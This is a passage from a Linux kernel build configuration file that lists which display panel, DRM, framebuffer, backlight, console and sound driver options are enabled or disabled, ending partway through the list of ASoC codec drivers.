# CONFIG_DRM_PANEL_SHARP_LS043T1LE01 is not set
# CONFIG_DRM_PANEL_SHARP_LS060T1SX01 is not set
# CONFIG_DRM_PANEL_SITRONIX_ST7701 is not set
# CONFIG_DRM_PANEL_SITRONIX_ST7703 is not set
# CONFIG_DRM_PANEL_SITRONIX_ST7789V is not set
# CONFIG_DRM_PANEL_SONY_ACX565AKM is not set
# CONFIG_DRM_PANEL_SONY_TD4353_JDI is not set
# CONFIG_DRM_PANEL_SONY_TULIP_TRULY_NT35521 is not set
# CONFIG_DRM_PANEL_STARTEK_KD070FHFID015 is not set
CONFIG_DRM_PANEL_EDP=y
# CONFIG_DRM_PANEL_SIMPLE is not set
# CONFIG_DRM_PANEL_SUMMIT is not set
# CONFIG_DRM_PANEL_SYNAPTICS_R63353 is not set
# CONFIG_DRM_PANEL_SYNAPTICS_TDDI is not set
# CONFIG_DRM_PANEL_TDO_TL070WSH30 is not set
# CONFIG_DRM_PANEL_TPO_TD028TTEC1 is not set
# CONFIG_DRM_PANEL_TPO_TD043MTEA1 is not set
# CONFIG_DRM_PANEL_TPO_TPG110 is not set
# CONFIG_DRM_PANEL_TRULY_NT35597_WQXGA is not set
# CONFIG_DRM_PANEL_VISIONOX_G2647FB105 is not set
# CONFIG_DRM_PANEL_VISIONOX_R66451 is not set
# CONFIG_DRM_PANEL_VISIONOX_RM69299 is not set
# CONFIG_DRM_PANEL_VISIONOX_RM692E5 is not set
# CONFIG_DRM_PANEL_VISIONOX_VTDR6130 is not set
# CONFIG_DRM_PANEL_WIDECHIPS_WS2401 is not set
# CONFIG_DRM_PANEL_XINPENG_XPP055C272 is not set
# end of Display Panels

# CONFIG_DRM_QXL is not set
# CONFIG_DRM_RADEON is not set
# CONFIG_DRM_ST7571 is not set
# CONFIG_DRM_ST7586 is not set
# CONFIG_DRM_ST7735R is not set
# CONFIG_DRM_ST7920 is not set
# CONFIG_DRM_SSD130X is not set

#
# Drivers for system framebuffers
#
CONFIG_DRM_SYSFB_HELPER=y
CONFIG_DRM_SIMPLEDRM=y
# CONFIG_DRM_VESADRM is not set
# end of Drivers for system framebuffers

# CONFIG_DRM_APPLETBDRM is not set
# CONFIG_DRM_ARCPGU is not set
CONFIG_DRM_BOCHS=y
CONFIG_DRM_CIRRUS_QEMU=y
CONFIG_DRM_GM12U320=y
# CONFIG_DRM_PANEL_MIPI_DBI is not set
# CONFIG_DRM_PIXPAPER is not set
# CONFIG_TINYDRM_HX8357D is not set
# CONFIG_TINYDRM_ILI9163 is not set
# CONFIG_TINYDRM_ILI9225 is not set
# CONFIG_TINYDRM_ILI9341 is not set
# CONFIG_TINYDRM_ILI9486 is not set
# CONFIG_TINYDRM_MI0283QT is not set
# CONFIG_TINYDRM_REPAPER is not set
# CONFIG_TINYDRM_SHARP_MEMORY is not set
CONFIG_DRM_UDL=y
# CONFIG_DRM_VBOXVIDEO is not set
CONFIG_DRM_VGEM=y
CONFIG_DRM_VIRTIO_GPU=y
CONFIG_DRM_VIRTIO_GPU_KMS=y
# CONFIG_DRM_VKMS is not set
CONFIG_DRM_VMWGFX=y
# CONFIG_DRM_VMWGFX_MKSSTATS is not set
# CONFIG_DRM_XE is not set
CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y

#
# Frame buffer Devices
#
CONFIG_FB=y
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ARC is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_VGA16=y
# CONFIG_FB_UVESA is not set
CONFIG_FB_VESA=y
# CONFIG_FB_N411 is not set
# CONFIG_FB_OPENCORES is not set
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_I740 is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_VIA is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_SMSCUFX is not set
# CONFIG_FB_UDL is not set
# CONFIG_FB_IBM_GXT4500 is not set
CONFIG_FB_VIRTUAL=y
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_SSD1307 is not set
# CONFIG_FB_SM712 is not set
CONFIG_FB_CORE=y
CONFIG_FB_NOTIFY=y
CONFIG_FB_DEVICE=y
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
CONFIG_FB_SYS_FILLRECT=y
CONFIG_FB_SYS_COPYAREA=y
CONFIG_FB_SYS_IMAGEBLIT=y
# CONFIG_FB_FOREIGN_ENDIAN is not set
CONFIG_FB_SYSMEM_FOPS=y
CONFIG_FB_DEFERRED_IO=y
CONFIG_FB_IOMEM_FOPS=y
CONFIG_FB_IOMEM_HELPERS=y
CONFIG_FB_SYSMEM_HELPERS=y
CONFIG_FB_SYSMEM_HELPERS_DEFERRED=y
CONFIG_FB_TILEBLITTING=y
# end of Frame buffer Devices

#
# Backlight & LCD device support
#
CONFIG_LCD_CLASS_DEVICE=y
# CONFIG_LCD_L4F00242T03 is not set
# CONFIG_LCD_LMS283GF05 is not set
# CONFIG_LCD_LTV350QV is not set
# CONFIG_LCD_ILI922X is not set
# CONFIG_LCD_ILI9320 is not set
# CONFIG_LCD_TDO24M is not set
# CONFIG_LCD_VGG2432A4 is not set
# CONFIG_LCD_PLATFORM is not set
# CONFIG_LCD_AMS369FG06 is not set
# CONFIG_LCD_LMS501KF03 is not set
# CONFIG_LCD_HX8357 is not set
# CONFIG_LCD_OTM3225A is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=y
# CONFIG_BACKLIGHT_AW99706 is not set
# CONFIG_BACKLIGHT_KTD253 is not set
# CONFIG_BACKLIGHT_KTD2801 is not set
# CONFIG_BACKLIGHT_KTZ8866 is not set
# CONFIG_BACKLIGHT_SY7758 is not set
# CONFIG_BACKLIGHT_MAX25014 is not set
# CONFIG_BACKLIGHT_MT6370 is not set
# CONFIG_BACKLIGHT_APPLE is not set
# CONFIG_BACKLIGHT_QCOM_WLED is not set
# CONFIG_BACKLIGHT_SAHARA is not set
# CONFIG_BACKLIGHT_ADP8860 is not set
# CONFIG_BACKLIGHT_ADP8870 is not set
# CONFIG_BACKLIGHT_LM3509 is not set
# CONFIG_BACKLIGHT_LM3639 is not set
# CONFIG_BACKLIGHT_PANDORA is not set
# CONFIG_BACKLIGHT_GPIO is not set
# CONFIG_BACKLIGHT_LV5207LP is not set
# CONFIG_BACKLIGHT_BD6107 is not set
# CONFIG_BACKLIGHT_ARCXCNN is not set
# CONFIG_BACKLIGHT_LED is not set
# end of Backlight & LCD device support

CONFIG_VGASTATE=y
CONFIG_VIDEOMODE_HELPERS=y
CONFIG_HDMI=y
# CONFIG_FIRMWARE_EDID is not set

#
# Console display driver support
#
CONFIG_VGA_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=80
CONFIG_DUMMY_CONSOLE_ROWS=25
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set
CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y
CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
# CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set
# end of Console display driver support

CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_MONO_FILE="drivers/video/logo/logo_linux_mono.pbm"
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_VGA16_FILE="drivers/video/logo/logo_linux_vga16.ppm"
# CONFIG_LOGO_LINUX_CLUT224 is not set
# CONFIG_TRACE_GPU_MEM is not set
# end of Graphics support

# CONFIG_DRM_ACCEL is not set
CONFIG_SOUND=y
CONFIG_SOUND_OSS_CORE=y
CONFIG_SOUND_OSS_CORE_PRECLAIM=y
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
CONFIG_SND_HWDEP=y
CONFIG_SND_SEQ_DEVICE=y
CONFIG_SND_RAWMIDI=y
CONFIG_SND_UMP=y
CONFIG_SND_UMP_LEGACY_RAWMIDI=y
CONFIG_SND_JACK=y
CONFIG_SND_JACK_INPUT_DEV=y
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=y
CONFIG_SND_PCM_OSS=y
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_PCM_TIMER=y
CONFIG_SND_HRTIMER=y
# CONFIG_SND_DYNAMIC_MINORS is not set
# CONFIG_SND_SUPPORT_OLD_API is not set
CONFIG_SND_PROC_FS=y
CONFIG_SND_VERBOSE_PROCFS=y
CONFIG_SND_CTL_FAST_LOOKUP=y
CONFIG_SND_DEBUG=y
# CONFIG_SND_DEBUG_VERBOSE is not set
CONFIG_SND_PCM_XRUN_DEBUG=y
# CONFIG_SND_CTL_INPUT_VALIDATION is not set
# CONFIG_SND_CTL_DEBUG is not set
# CONFIG_SND_JACK_INJECTION_DEBUG is not set
# CONFIG_SND_UTIMER is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_DMA_SGBUF=y
CONFIG_SND_CTL_LED=y
CONFIG_SND_SEQUENCER=y
CONFIG_SND_SEQ_DUMMY=y
CONFIG_SND_SEQUENCER_OSS=y
CONFIG_SND_SEQ_HRTIMER_DEFAULT=y
CONFIG_SND_SEQ_MIDI_EVENT=y
CONFIG_SND_SEQ_MIDI=y
CONFIG_SND_SEQ_VIRMIDI=y
# CONFIG_SND_SEQ_UMP is not set
CONFIG_SND_DRIVERS=y
# CONFIG_SND_PCSP is not set
CONFIG_SND_DUMMY=y
CONFIG_SND_ALOOP=y
# CONFIG_SND_PCMTEST is not set
CONFIG_SND_VIRMIDI=y
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_MTS64 is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_SERIAL_GENERIC is not set
# CONFIG_SND_MPU401 is not set
# CONFIG_SND_PORTMAN2X4 is not set
CONFIG_SND_PCI=y
# CONFIG_SND_AD1889 is not set
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALS4000 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ASIHPI is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LOLA is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SE6X is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set

#
# HD-Audio
#
CONFIG_SND_HDA=y
CONFIG_SND_HDA_HWDEP=y
CONFIG_SND_HDA_RECONFIG=y
CONFIG_SND_HDA_INPUT_BEEP=y
CONFIG_SND_HDA_INPUT_BEEP_MODE=1
CONFIG_SND_HDA_PATCH_LOADER=y
CONFIG_SND_HDA_POWER_SAVE_DEFAULT=0
# CONFIG_SND_HDA_CTL_DEV_ID is not set
CONFIG_SND_HDA_PREALLOC_SIZE=0
CONFIG_SND_HDA_INTEL=y
# CONFIG_SND_HDA_ACPI is not set
CONFIG_SND_HDA_GENERIC_LEDS=y
CONFIG_SND_HDA_CODEC_ANALOG=y
CONFIG_SND_HDA_CODEC_SIGMATEL=y
CONFIG_SND_HDA_CODEC_VIA=y
CONFIG_SND_HDA_CODEC_CONEXANT=y
# CONFIG_SND_HDA_CODEC_SENARYTECH is not set
CONFIG_SND_HDA_CODEC_CA0110=y
CONFIG_SND_HDA_CODEC_CA0132=y
# CONFIG_SND_HDA_CODEC_CA0132_DSP is not set
CONFIG_SND_HDA_CODEC_CMEDIA=y
# CONFIG_SND_HDA_CODEC_CM9825 is not set
CONFIG_SND_HDA_CODEC_SI3054=y
CONFIG_SND_HDA_GENERIC=y
CONFIG_SND_HDA_CODEC_REALTEK=y
# CONFIG_SND_HDA_CODEC_ALC260 is not set
# CONFIG_SND_HDA_CODEC_ALC262 is not set
# CONFIG_SND_HDA_CODEC_ALC268 is not set
# CONFIG_SND_HDA_CODEC_ALC269 is not set
# CONFIG_SND_HDA_CODEC_ALC662 is not set
# CONFIG_SND_HDA_CODEC_ALC680 is not set
# CONFIG_SND_HDA_CODEC_ALC861 is not set
# CONFIG_SND_HDA_CODEC_ALC861VD is not set
# CONFIG_SND_HDA_CODEC_ALC880 is not set
# CONFIG_SND_HDA_CODEC_ALC882 is not set
CONFIG_SND_HDA_CODEC_CIRRUS=y
# CONFIG_SND_HDA_CODEC_CS420X is not set
# CONFIG_SND_HDA_CODEC_CS421X is not set
# CONFIG_SND_HDA_CODEC_CS8409 is not set
CONFIG_SND_HDA_CODEC_HDMI=y
# CONFIG_SND_HDA_CODEC_HDMI_GENERIC is not set
# CONFIG_SND_HDA_CODEC_HDMI_SIMPLE is not set
# CONFIG_SND_HDA_CODEC_HDMI_INTEL is not set
# CONFIG_SND_HDA_CODEC_HDMI_ATI is not set
# CONFIG_SND_HDA_CODEC_HDMI_NVIDIA is not set
# CONFIG_SND_HDA_CODEC_HDMI_NVIDIA_MCP is not set
# CONFIG_SND_HDA_CODEC_HDMI_TEGRA is not set
# CONFIG_SND_HDA_SCODEC_AW88399_I2C is not set
# CONFIG_SND_HDA_SCODEC_CS35L56_I2C is not set
# CONFIG_SND_HDA_SCODEC_CS35L56_SPI is not set
CONFIG_SND_HDA_CORE=y
CONFIG_SND_HDA_COMPONENT=y
CONFIG_SND_HDA_I915=y
CONFIG_SND_INTEL_NHLT=y
CONFIG_SND_INTEL_DSP_CONFIG=y
CONFIG_SND_INTEL_SOUNDWIRE_ACPI=y
# end of HD-Audio

# CONFIG_SND_SPI is not set
CONFIG_SND_USB=y
CONFIG_SND_USB_AUDIO=y
CONFIG_SND_USB_AUDIO_MIDI_V2=y
CONFIG_SND_USB_AUDIO_USE_MEDIA_CONTROLLER=y
CONFIG_SND_USB_UA101=y
CONFIG_SND_USB_USX2Y=y
CONFIG_SND_USB_CAIAQ=y
CONFIG_SND_USB_CAIAQ_INPUT=y
CONFIG_SND_USB_US122L=y
# CONFIG_SND_USB_US144MKII is not set
CONFIG_SND_USB_6FIRE=y
CONFIG_SND_USB_HIFACE=y
CONFIG_SND_BCD2000=y
CONFIG_SND_USB_LINE6=y
CONFIG_SND_USB_POD=y
CONFIG_SND_USB_PODHD=y
CONFIG_SND_USB_TONEPORT=y
CONFIG_SND_USB_VARIAX=y
# CONFIG_SND_FIREWIRE is not set
CONFIG_SND_PCMCIA=y
# CONFIG_SND_VXPOCKET is not set
# CONFIG_SND_PDAUDIOCF is not set
CONFIG_SND_SOC=y
# CONFIG_SND_SOC_USB is not set

#
# Analog Devices
#
# CONFIG_SND_SOC_ADI_AXI_I2S is not set
# CONFIG_SND_SOC_ADI_AXI_SPDIF is not set
# end of Analog Devices

#
# AMD
#
# CONFIG_SND_SOC_AMD_ACP is not set
# CONFIG_SND_SOC_AMD_ACP3x is not set
# CONFIG_SND_SOC_AMD_RENOIR is not set
# CONFIG_SND_SOC_AMD_ACP5x is not set
# CONFIG_SND_SOC_AMD_ACP6x is not set
# CONFIG_SND_AMD_ACP_CONFIG is not set
# CONFIG_SND_SOC_AMD_ACP_COMMON is not set
# end of AMD

#
# Apple
#
# end of Apple

#
# Atmel
#
# CONFIG_SND_SOC_MIKROE_PROTO is not set
# end of Atmel

#
# Au1x
#
# end of Au1x

#
# Broadcom
#
# CONFIG_SND_BCM63XX_I2S_WHISTLER is not set
# end of Broadcom

#
# Cirrus Logic
#
# end of Cirrus Logic

#
# DesignWare
#
# CONFIG_SND_DESIGNWARE_I2S is not set
# end of DesignWare

#
# Freescale
#

#
# Common SoC Audio options for Freescale CPUs:
#
# CONFIG_SND_SOC_FSL_ASRC is not set
# CONFIG_SND_SOC_FSL_SAI is not set
# CONFIG_SND_SOC_FSL_AUDMIX is not set
# CONFIG_SND_SOC_FSL_SSI is not set
# CONFIG_SND_SOC_FSL_SPDIF is not set
# CONFIG_SND_SOC_FSL_ESAI is not set
# CONFIG_SND_SOC_FSL_MICFIL is not set
# CONFIG_SND_SOC_FSL_XCVR is not set
# CONFIG_SND_SOC_IMX_AUDMUX is not set
# end of Freescale

#
# Google
#
# CONFIG_SND_SOC_CHV3_I2S is not set
# end of Google

#
# Hisilicon
#
# CONFIG_SND_I2S_HI6210_I2S is not set
# end of Hisilicon

#
# JZ4740
#
# end of JZ4740

#
# Kirkwood
#
# end of Kirkwood

#
# Loongson
#
# end of Loongson

#
# Intel
#
# CONFIG_SND_SOC_INTEL_SST_TOPLEVEL is not set
# CONFIG_SND_SOC_INTEL_AVS is not set
# end of Intel

#
# Mediatek
#
# CONFIG_SND_SOC_MTK_BTCVSD is not set
# end of Mediatek

#
# PXA
#
# end of PXA

#
# SoundWire (SDCA)
#
# CONFIG_SND_SOC_SDCA is not set
CONFIG_SND_SOC_SDCA_OPTIONAL=y
# end of SoundWire (SDCA)

#
# ST SPEAr
#
# end of ST SPEAr

#
# Spreadtrum
#
# end of Spreadtrum

#
# STMicroelectronics STM32
#
# end of STMicroelectronics STM32

#
# Tegra
#
# end of Tegra

#
# Xilinx
#
# CONFIG_SND_SOC_XILINX_I2S is not set
# CONFIG_SND_SOC_XILINX_AUDIO_FORMATTER is not set
# CONFIG_SND_SOC_XILINX_SPDIF is not set
# end of Xilinx

#
# Xtensa
#
# CONFIG_SND_SOC_XTFPGA_I2S is not set
# end of Xtensa

# CONFIG_SND_SOC_SOF_TOPLEVEL is not set
CONFIG_SND_SOC_I2C_AND_SPI=y

#
# CODEC drivers
#
# CONFIG_SND_SOC_AC97_CODEC is not set
# CONFIG_SND_SOC_ADAU1372_I2C is not set
# CONFIG_SND_SOC_ADAU1372_SPI is not set
# CONFIG_SND_SOC_ADAU1373 is not set
# CONFIG_SND_SOC_ADAU1701 is not set
# CONFIG_SND_SOC_ADAU1761_I2C is not set
# CONFIG_SND_SOC_ADAU1761_SPI is not set
# CONFIG_SND_SOC_ADAU7002 is not set
# CONFIG_SND_SOC_ADAU7118_HW is not set
# CONFIG_SND_SOC_ADAU7118_I2C is not set
# CONFIG_SND_SOC_AK4104 is not set
# CONFIG_SND_SOC_AK4118 is not set
# CONFIG_SND_SOC_AK4375 is not set
# CONFIG_SND_SOC_AK4458 is not set
# CONFIG_SND_SOC_AK4554 is not set
# CONFIG_SND_SOC_AK4613 is not set
# CONFIG_SND_SOC_AK4619 is not set
# CONFIG_SND_SOC_AK4642 is not set
# CONFIG_SND_SOC_AK5386 is not set
# CONFIG_SND_SOC_AK5558 is not set
# CONFIG_SND_SOC_ALC5623 is not set
# CONFIG_SND_SOC_AUDIO_IIO_AUX is not set
# CONFIG_SND_SOC_AW8738 is not set
# CONFIG_SND_SOC_AW88395 is not set
# CONFIG_SND_SOC_AW88166 is not set
# CONFIG_SND_SOC_AW88261 is not set
# CONFIG_SND_SOC_AW88081 is not set
# CONFIG_SND_SOC_AW87390 is not set
# CONFIG_SND_SOC_AW88399 is not set
# CONFIG_SND_SOC_BD28623 is not set
# CONFIG_SND_SOC_BT_SCO is not set
# CONFIG_SND_SOC_CHV3_CODEC is not set
# CONFIG_SND_SOC_CS35L32 is not set
# CONFIG_SND_SOC_CS35L33 is not set
# CONFIG_SND_SOC_CS35L34 is not set
# CONFIG_SND_SOC_CS35L35 is not set
# CONFIG_SND_SOC_CS35L36 is not set
# CONFIG_SND_SOC_CS35L41_SPI is not set
# CONFIG_SND_SOC_CS35L41_I2C is not set
# CONFIG_SND_SOC_CS35L45_SPI is not set
# CONFIG_SND_SOC_CS35L45_I2C is not set
# CONFIG_SND_SOC_CS35L56_I2C is not set
# CONFIG_SND_SOC_CS35L56_SPI is not set
# CONFIG_SND_SOC_CS35L56_SDW is not set
# CONFIG_SND_SOC_CS42L42 is not set
# CONFIG_SND_SOC_CS42L42_SDW is not set
# CONFIG_SND_SOC_CS42L51_I2C is not set
# CONFIG_SND_SOC_CS42L52 is not set
# CONFIG_SND_SOC_CS42L56 is not set
# CONFIG_SND_SOC_CS42L73 is not set
# CONFIG_SND_SOC_CS42L83 is not set
# CONFIG_SND_SOC_CS42L84 is not set
# CONFIG_SND_SOC_CS4234 is not set
# CONFIG_SND_SOC_CS4265 is not set
# CONFIG_SND_SOC_CS4270 is not set
# CONFIG_SND_SOC_CS4271_I2C is not set
# CONFIG_SND_SOC_CS4271_SPI is not set
# CONFIG_SND_SOC_CS42XX8_SPI is not set
# CONFIG_SND_SOC_CS42XX8_I2C is not set
# CONFIG_SND_SOC_CS43130 is not set
# CONFIG_SND_SOC_CS4341 is not set
# CONFIG_SND_SOC_CS4349 is not set
# CONFIG_SND_SOC_CS48L32 is not set
# CONFIG_SND_SOC_CS53L30 is not set
# CONFIG_SND_SOC_CS530X_I2C is not set
# CONFIG_SND_SOC_CS530X_SPI is not set
# CONFIG_SND_SOC_CX2072X is not set
# CONFIG_SND_SOC_DA7213 is not set
# CONFIG_SND_SOC_DMIC is not set
# CONFIG_SND_SOC_ES7134 is not set
# CONFIG_SND_SOC_ES7241 is not set
# CONFIG_SND_SOC_ES8311 is not set
# CONFIG_SND_SOC_ES8316 is not set
# CONFIG_SND_SOC_ES8323 is not set
# CONFIG_SND_SOC_ES8326 is not set
# CONFIG_SND_SOC_ES8328_I2C is not set
# CONFIG_SND_SOC_ES8328_SPI is not set
# CONFIG_SND_SOC_ES8375 is not set
# CONFIG_SND_SOC_ES8389 is not set
# CONFIG_SND_SOC_FS210X is not set
# CONFIG_SND_SOC_GTM601 is not set
# CONFIG_SND_SOC_HDA is not set
# CONFIG_SND_SOC_ICS43432 is not set
# CONFIG_SND_SOC_IDT821034 is not set
# CONFIG_SND_SOC_MAX98088 is not set
# CONFIG_SND_SOC_MAX98090 is not set
# CONFIG_SND_SOC_MAX98357A is not set
# CONFIG_SND_SOC_MAX98504 is not set
# CONFIG_SND_SOC_MAX9867 is not set
# CONFIG_SND_SOC_MAX98927 is not set
# CONFIG_SND_SOC_MAX98520 is not set
# CONFIG_SND_SOC_MAX98363 is not set
# CONFIG_SND_SOC_MAX98373_I2C is not set
# CONFIG_SND_SOC_MAX98373_SDW is not set
# CONFIG_SND_SOC_MAX98388 is not set
# CONFIG_SND_SOC_MAX98390 is not set
# CONFIG_SND_SOC_MAX98396 is not set
# CONFIG_SND_SOC_MAX9860 is not set
# CONFIG_SND_SOC_MSM8916_WCD_DIGITAL is not set
# CONFIG_SND_SOC_PCM1681 is not set
# CONFIG_SND_SOC_PCM1754 is not set
# CONFIG_SND_SOC_PCM1789_I2C is not set
# CONFIG_SND_SOC_PCM179X_I2C is not set
# CONFIG_SND_SOC_PCM179X_SPI is not set
# CONFIG_SND_SOC_PCM186X_I2C is not set
# CONFIG_SND_SOC_PCM186X_SPI is not set
# CONFIG_SND_SOC_PCM3060_I2C is not set
# CONFIG_SND_SOC_PCM3060_SPI is not set
# CONFIG_SND_SOC_PCM3168A_I2C is not set
# CONFIG_SND_SOC_PCM3168A_SPI is not set
# CONFIG_SND_SOC_PCM5102A is not set
# CONFIG_SND_SOC_PCM512x_I2C is not set
# CONFIG_SND_SOC_PCM512x_SPI is not set
# CONFIG_SND_SOC_PCM6240 is not set
# CONFIG_SND_SOC_PEB2466 is not set
# CONFIG_SND_SOC_PM4125_SDW is not set
# CONFIG_SND_SOC_RT1017_SDCA_SDW is not set
# CONFIG_SND_SOC_RT1308_SDW is not set
# CONFIG_SND_SOC_RT1316_SDW is not set
# CONFIG_SND_SOC_RT1318_SDW is not set
# CONFIG_SND_SOC_RT1320_SDW is not set
# CONFIG_SND_SOC_RT5575 is not set
# CONFIG_SND_SOC_RT5616 is not set
# CONFIG_SND_SOC_RT5631 is not set
# CONFIG_SND_SOC_RT5640 is not set
# CONFIG_SND_SOC_RT5645 is not set
# CONFIG_SND_SOC_RT5659 is not set
# CONFIG_SND_SOC_RT5677 is not set
# CONFIG_SND_SOC_RT5682_SDW is not set
# CONFIG_SND_SOC_RT700_SDW is not set
# CONFIG_SND_SOC_RT711_SDW is not set
# CONFIG_SND_SOC_RT711_SDCA_SDW is not set
# CONFIG_SND_SOC_RT712_SDCA_SDW is not set
# CONFIG_SND_SOC_RT712_SDCA_DMIC_SDW is not set
# CONFIG_SND_SOC_RT721_SDCA_SDW is not set
# CONFIG_SND_SOC_RT722_SDCA_SDW is not set
# CONFIG_SND_SOC_RT715_SDW is not set
# CONFIG_SND_SOC_RT715_SDCA_SDW is not set
# CONFIG_SND_SOC_RT9120 is not set
# CONFIG_SND_SOC_RT9123 is not set
# CONFIG_SND_SOC_RT9123P is not set
# CONFIG_SND_SOC_RTQ9124 is not set
# CONFIG_SND_SOC_RTQ9128 is not set
# CONFIG_SND_SOC_SDW_MOCKUP is not set
# CONFIG_SND_SOC_SGTL5000 is not set
# CONFIG_SND_SOC_SIMPLE_AMPLIFIER is not set
# CONFIG_SND_SOC_SIMPLE_MUX is not set
# CONFIG_SND_SOC_SMA1303 is not set
# CONFIG_SND_SOC_SMA1307 is not set
# CONFIG_SND_SOC_SPDIF is not set
# CONFIG_SND_SOC_SRC4XXX_I2C is not set
# CONFIG_SND_SOC_SSM2305 is not set
# CONFIG_SND_SOC_SSM2518 is not set
# CONFIG_SND_SOC_SSM2602_SPI is not set
# CONFIG_SND_SOC_SSM2602_I2C is not set
# CONFIG_SND_SOC_SSM3515 is not set
# CONFIG_SND_SOC_SSM4567 is not set
# CONFIG_SND_SOC_STA32X is not set
# CONFIG_SND_SOC_STA350 is not set
# CONFIG_SND_SOC_STI_SAS is not set
# CONFIG_SND_SOC_TAS2552 is not set
# CONFIG_SND_SOC_TAS2562 is not set
# CONFIG_SND_SOC_TAS2764 is not set
# CONFIG_SND_SOC_TAS2770 is not set
# CONFIG_SND_SOC_TAS2780 is not set
# CONFIG_SND_SOC_TAS2781_I2C is not set
# CONFIG_SND_SOC_TAS5086 is not set
# CONFIG_SND_SOC_TAS571X is not set
# CONFIG_SND_SOC_TAS5720 is not set
# CONFIG_SND_SOC_TAS5805M is not set
# CONFIG_SND_SOC_TAS6424 is not set
# CONFIG_SND_SOC_TAS675X is not set
# CONFIG_SND_SOC_TDA7419 is not set
# CONFIG_SND_SOC_TFA9879 is not set
# CONFIG_SND_SOC_TFA989X is not set
# CONFIG_SND_SOC_TLV320ADC3XXX is not set
# CONFIG_SND_SOC_TLV320AIC23_I2C is not set
# CONFIG_SND_SOC_TLV320AIC23_SPI is not set
# CONFIG_SND_SOC_TLV320AIC31XX is not set
# CONFIG_SND_SOC_TLV320AIC32X4_I2C is not set
# CONFIG_SND_SOC_TLV320AIC32X4_SPI is not set
# CONFIG_SND_SOC_TLV320AIC3X_I2C is not set
# CONFIG_SND_SOC_TLV320AIC3X_SPI is not set
# CONFIG_SND_SOC_TLV320ADCX140 is not set
# CONFIG_SND_SOC_TS3A227E is not set
# CONFIG_SND_SOC_TSCS42XX is not set
# CONFIG_SND_SOC_TSCS454 is not set
# CONFIG_SND_SOC_UDA1334 is not set
# CONFIG_SND_SOC_UDA1342 is not set
